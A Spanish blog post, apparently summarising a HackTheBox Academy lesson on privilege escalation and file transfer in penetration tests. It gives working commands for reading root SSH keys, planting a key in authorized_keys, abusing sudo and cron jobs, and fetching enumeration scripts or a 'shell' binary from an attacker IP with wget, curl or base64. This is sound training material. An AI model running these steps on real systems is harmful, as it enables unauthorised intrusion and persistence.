Escalada de privilegios: Cómo empezar (tercera parte)

Aquí os traigo la tercera parte de este módulo de la Academy de HackTheBox. En esta ocasión veremos cómo funciona la escalada de privilegios y transferir archivos entre la máquina host y la máquina objetivo. Si queréis leer la segunda parte de este módulo, la podéis encontrar aquí.

Escalada de privilegios

Nuestro acceso inicial a un servidor remoto normalmente es en el contexto de un usuario sin privilegios, lo que no nos da acceso completo a la máquina. Para obtener un acceso completo, necesitaremos encontrar una vulnerabilidad que nos permita escalar esos privilegios a root o administrator/SYSTEM.

Listas de comprobación PrivEsc

Una vez que obtengamos nuestro acceso inicial a la máquina, queremos buscar qué vulnerabilidades podemos explotar en ella para alcanzar un privilegio mayor. Podemos encontrar listas y chuletas online con una serie de comprobaciones que podemos ejecutar y comandos a correr para realizar esas pruebas.

Un recurso excelente es HackTricks, donde tienen una excelente lista tanto para Linux como para Windows. Otro repositorio excelente es PayloadsAllTheThings, donde podemos encontrar listas para ambos tipos de sistema. Debemos comenzar experimentando con varios comandos y técnicas y familiarizarnos con ellos para comprender las múltiples debilidades que pueden conducir a una escalada de nuestros privilegios.

Scripts de enumeración

Muchos de los comandos anteriores pueden ejecutarse automáticamente con un script para ir directos al reporte y ver las debilidades. Podemos correr muchos scripts para enumerar automáticamente el servidor ejecutando comandos comunes que devuelvan los hallazgos interesantes.

Algunos de los scripts de enumeración para Linux son LinEnum y linuxprivchecker, y para Windows Seatbelt y JAWS.
Otra herramienta útil que podemos usar para la enumeración del servidor es PEASS (Privilege Escalation Awesome Scripts SUITE), ya que es una herramienta que se mantiene actualizada e incluye scripts tanto para Linux como para Windows.


Nota: Estos scripts correrán comandos conocidos para identificar vulnerabilidades y crearán mucho «ruido» que puede activar software antivirus o de monitorización. En algunos casos, podemos querer hacer una enumeración manual en lugar de ejecutar scripts.
Veamos un ejemplo con un script de PEASS llamado LinPEAS:

user@htb[/htb]$ ./linpeas.sh
...SNIP...

Linux Privesc Checklist: https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist
 LEYEND:
  RED/YELLOW: 99% a PE vector
  RED: You must take a look at it
  LightCyan: Users with console
  Blue: Users without console & mounted devs
  Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs)
  LightMangenta: Your username


====================================( Basic information )=====================================
OS: Linux version 3.9.0-73-generic
User & Groups: uid=33(www-data) gid=33(www-data) groups=33(www-data)
...SNIP...

Como se puede ver, una vez se ejecuta el script, comienza a coleccionar información y a mostrarla en un reporte. Veamos algunas de las vulnerabilidades que podemos encontrar así.

Exploits del Kernel

Cuando encontremos un servidor que ejecute un sistema operativo antiguo, debemos comenzar por buscar vulnerabilidades potenciales en el núcleo. Supongamos que el servidor no está siendo mantenido con las últimas actualizaciones y parches. En este caso, es muy probable que sea vulnerable a exploits del núcleo específicos encontrados en versiones sin parchear de Linux o Windows.

El script anterior nos muestra la versión de Linux (3.9.0-73-generic). Si buscamos en Google exploits para esta versión o usamos searchsploit, deberíamos encontrar la CVE-2016-5195, también conocida como DirtyCow. Podemos buscar y descargar el exploit correspondiente y ejecutarlo en el servidor para obtener acceso de root.

El mismo concepto se aplica en Windows, ya que hay vulnerabilidades en versiones antiguas/sin parchear de Windows, con varias vulnerabilidades que se pueden usar para escalar privilegios. Deberíamos mantener en mente que los exploits del kernel pueden causar inestabilidad en el sistema, y eso nos debería llevar a tener mucho cuidado antes de ejecutarlos en sistemas en producción. Es mejor probarlos en un entorno de laboratorio y solo ejecutarlos en sistemas en producción con la aprobación explícita y la coordinación con nuestro cliente.

Software vulnerable

Otra cosa que debemos buscar es el software instalado. Podemos usar el comando dpkg -l en Linux o mirar en C:\Program Files en Windows para ver el software instalado en el sistema. Debemos buscar exploits públicos para cualquier programa instalado, especialmente si hay versiones antiguas en uso, que contengan vulnerabilidades no parcheadas.

Privilegios de usuario

Otro aspecto crítico después de obtener acceso a un servidor son los privilegios disponibles para el usuario con el que se accede. Supongamos que podemos correr ciertos comandos como root (u otro usuario). En ese caso, deberíamos poder escalar nuestros privilegios a root/system u obtener acceso como un usuario distinto. Algunas formas comunes de explotar ciertos privilegios de usuario son:

  1. Sudo
  2. SUID
  3. Windows Token Privileges

El comando sudo en Linux permite a un usuario ejecutar comandos como un usuario distinto. Se suele usar para permitir a usuarios con privilegios más bajos ejecutar comandos como root sin darles acceso al usuario root. Generalmente se hace con comandos que solo se pueden ejecutar como root, como tcpdump, o para permitir al usuario acceso de root a ciertos directorios. Podemos comprobar los privilegios de sudo con el comando sudo -l:

user@htb[/htb]$ sudo -l

[sudo] password for user1:
...SNIP...

User user1 may run the following commands on ExampleServer:
    (ALL : ALL) ALL

Esto nos dice que podemos ejecutar todos los comandos con sudo, lo cual nos da un acceso completo, y podemos usar el comando su con sudo para cambiar al usuario root:

user@htb[/htb]$ sudo su -

[sudo] password for user1:
whoami
root

El comando anterior requiere de una contraseña para correr cualquier comando con sudo. Hay ciertas ocasiones donde se nos puede permitir ejecutar ciertas aplicaciones, o todas, sin tener que proporcionar una contraseña:

user@htb[/htb]$ sudo -l

    (user : user) NOPASSWD: /bin/echo

La entrada NOPASSWD nos muestra que el comando /bin/echo se puede ejecutar sin contraseña. Esto puede ser útil si hemos obtenido acceso al servidor a través de una vulnerabilidad y no tenemos la contraseña. Como nos dice user, podemos correr sudo como ese usuario y no como root. Para hacerlo, podemos especificar el usuario con -u user:

user@htb[/htb]$ sudo -u user /bin/echo Hello World!

    Hello World!

Una vez encontrada una aplicación que podamos correr con sudo, podemos buscar maneras de explotarla para obtener una shell como usuario root. GTFOBins contiene una lista de comandos y cómo pueden ser explotados por medio de sudo. Podemos buscar una aplicación que tenga privilegios sudo, y si existe, nos dirá el comando exacto que deberíamos ejecutar para obtener acceso de root usando los privilegios de sudo que tenemos.
LOLBAS también contiene una lista de aplicaciones Windows que pueden ayudarnos a escalar para realizar ciertas funciones, como descargar archivos o ejecutar comandos en el contexto de un usuario con privilegios.

Tareas agendadas

Tanto en Linux como en Windows hay métodos para tener scripts que se ejecuten en intervalos específicos. Algunos ejemplos son los escaneos de un antivirus o un script de copia de seguridad que corra cada cierto tiempo. Normalmente hay dos formas de aprovecharse de las tareas agendadas o cron jobs para escalar privilegios:

  1. Añadir nuevas tareas/cron jobs
  2. Trucarlas para que ejecuten software malicioso

La forma más sencilla es comprobar si podemos añadir nuevas tareas agendadas. En Linux, una forma común de mantener estas tareas es mediante los Cron Jobs. Hay directorios específicos que podemos utilizar para añadir cron jobs nuevos si tenemos permisos de escritura sobre ellos. Estos incluyen:

  1. /etc/crontab
  2. /etc/cron.d
  3. /var/spool/cron/crontabs/root

Si podemos escribir en un directorio llamado por un cron job, podemos escribir un script en bash con un comando de shell reversa, el cual nos enviará una shell cuando se ejecute.

Credenciales expuestas

Podemos buscar archivos que podamos leer y mirar si contienen credenciales expuestas. Es muy común en los archivos de configuración, archivos de registro, y archivos históricos de usuario (bash_history o PSReadLine). Los scripts de enumeración vistos al principio buscan contraseñas potenciales en archivos y nos las proporcionan:

...SNIP...
[+] Searching passwords in config PHP files
[+] Finding passwords inside logs (limit 70)
...SNIP...
/var/www/html/config.php: $conn = new mysqli(localhost, 'db_user', 'password123');

Como se puede ver, la contraseña de la base de datos está expuesta (‘password123’), lo cual nos puede permitir entrar en las bases de datos locales mysql y buscar información interesante. También es posible que queramos comprobar la reutilización de contraseñas, ya que los usuarios pueden haber usado su contraseña para bases de datos, lo cual nos permitiría usar la misma contraseña para cambiar a ese usuario de esta forma:

user@htb[/htb]$ su -

Password: password123
whoami

root

Puede que también utilice las credenciales de usuario a ssh en el servidor como usuario.

Claves SSH

Finalmente, hablemos de las claves SSH. Podemos encontrar las claves ssh de un usuario en /home/user/.ssh/id_rsa o en /root/.ssh/id_rsa, y usarlas para entrar en el servidor. Si podemos leer el directorio /root/.ssh/ y dentro el archivo id_rsa, podemos copiarlo a nuestra máquina y usar el modificador -i para entrar con él:

user@htb[/htb]$ vim id_rsa
user@htb[/htb]$ chmod 600 id_rsa
user@htb[/htb]$ ssh user@10.10.10.10 -i id_rsa

root@remotehost#

Nótese que hemos usado el comando ‘chmod 600 id_rsa’ en la clave después de crearla en nuestra máquina para cambiar los permisos para que sean más restrictivos. Si las claves ssh tienen permisos débiles el servidor ssh puede evitar que se usen.

Si nos encontramos con acceso de escritura al directorio /.ssh/ de algún usuario, podemos poner nuestra clave pública en el directorio ssh del usuario en /home/user/.ssh/authorized_keys. Se suele usar para obtener acceso ssh después de obtener una shell como ese usuario. La configuración actual SSH no aceptará claves escritas por otros usuarios, por lo que solo funcionará si ya hemos obtenido control sobre ese usuario. Primero debemos crear una nueva clave con ssh-keygen y el modificador -f para especificar el archivo de salida:

user@htb[/htb]$ ssh-keygen -f key

Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase): *******
Enter same passphrase again: *******

Your identification has been saved in key
Your public key has been saved in key.pub
The key fingerprint is:
SHA256:...SNIP... user@parrot
The key's randomart image is:
+---[RSA 3072]----+
|   ..o.++.+      |
...SNIP...
|     . ..oo+.    |
+----[SHA256]-----+

Esto nos dará dos archivos: key (el cual usaremos con ssh -i) y key.pub, el cual copiaremos a la máquina remota. Copiamos el key.pub, y después, en la máquina remota, lo añadimos a /root/.ssh/authorized_keys:

user@remotehost$ echo "ssh-rsa AAAAB...SNIP...M= user@parrot" >> /root/.ssh/authorized_keys

Ahora el servidor remoto debería permitirnos entrar como ese usuario usando nuestra propia clave:

user@htb[/htb]$ ssh root@10.10.10.10 -i key

root@remotehost# 

Ahora podemos usar ssh como root.

Transfiriendo archivos

Durante un ejercicio de pentesting, es habitual que necesitemos transferir archivos al servidor remoto, tales como scripts de enumeración o exploits, o transferir datos a nuestra máquina de ataque. Aunque herramientas como Metasploit, con el uso de una shell de Meterpreter, nos permiten usar el comando Upload para subir un archivo, necesitaremos aprender métodos para transferir archivos con una shell reversa estándar.

Usando wget

Hay muchos métodos para lograr esto. Uno de ellos es ejecutando un servidor HTTP Python en nuestra máquina y usando wget o cURL para descargar el archivo en el host remoto. Lo primero es ir al directorio que contiene el archivo que necesitamos transferir y ejecutar el servidor Python en él:

user@htb[/htb]$ cd /tmp
user@htb[/htb]$ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Ahora que tenemos un servidor a la escucha en nuestra máquina, podemos descargar el archivo en el host remoto:

user@remotehost$ wget http://10.10.14.1:8000/linenum.sh

...SNIP...
Saving to: 'linenum.sh'

linenum.sh 100%[==============================================>] 144.86K  --.-KB/s    in 0.02s

2021-02-08 18:09:19 (8.16 MB/s) - 'linenum.sh' saved [14337/14337]

Nótese que hemos usado nuestra IP 10.10.14.1 y el puerto de nuestro servidor Python es el 8000. Si el servidor remoto no tiene wget, podemos usar cURL para descargar el archivo:

user@remotehost$ curl http://10.10.14.1:8000/linenum.sh -o linenum.sh

100  144k  100  144k    0     0  176k      0 --:--:-- --:--:-- --:--:-- 176k

Hemos usado el modificador -o para especificar el nombre del archivo de salida.

Usando SCP

Otro método es mediante el uso de scp, para lo que hemos de haber obtenido credenciales ssh válidas en el host remoto:

user@htb[/htb]$ scp linenum.sh user@remotehost:/tmp/linenum.sh

user@remotehost's password: *********
linenum.sh

Especificamos el nombre del archivo local después de scp, y el directorio remoto en el que se guardará después de :.

Usando Base64

En algunos casos es posible que no podamos transferir el archivo. Por ejemplo, si el host remoto tiene un firewall que impida la descarga de un archivo en él. En casos así, podemos usar un truco que es codificar el archivo en formato base64, y entonces podemos pegar la cadena en base64 en el servidor remoto y decodificarla. Por ejemplo, si queremos transferir un binario llamado shell, lo codificamos en base64 así:

user@htb[/htb]$ base64 shell -w 0

f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU

Ahora podemos copiar esta cadena en base64, ir al host remoto y usar base64 -d para decodificarla:

user@remotehost$ echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU | base64 -d > shell

Validando transferencias de archivos

Para validar el formato de un archivo, podemos usar el comando file en él:

user@remotehost$ file shell
shell: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header

Como vemos, ejecutamos el comando file en el archivo shell, y nos dice que es un binario ELF, lo que significa que se ha transferido correctamente. Para asegurarnos de no haber perdido datos en la transferencia, podemos comprobar su hash md5. En nuestra máquina local ejecutamos md5sum sobre el archivo:

user@htb[/htb]$ md5sum shell

321de1d7e7c3735838890a72c9ae7d1d shell

Ahora, hacemos lo propio en el servidor remoto con el archivo transferido:

user@remotehost$ md5sum shell

321de1d7e7c3735838890a72c9ae7d1d shell

Ambos coinciden, lo que significa que el archivo se transfirió correctamente.

Conclusiones

Hasta aquí llega la parte más teórica de este módulo. En la próxima entrada relacionada con él os hablaré de algunas características de la plataforma HackTheBox, cómo está organizada, las distintas secciones y demás. Pero eso será en la próxima entrega. También próximamente os mostraré cómo resolver la máquina Nibbles, pero vamos paso a paso.

Como siempre, podéis preguntarme lo que queráis relacionado con este tema en comentarios o en mis redes sociales.

Deja un comentario

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.

Ads Blocker Image Powered by Code Help Pro

¡¡¡Ads Blocker Detectado!!!

Hemos detectado que usas extensiones para bloquear anuncios. Por favor, si te interesa el contenido, no bloquees los anuncios, que son lo que nos ayuda a poder publicar más contenido como este 😊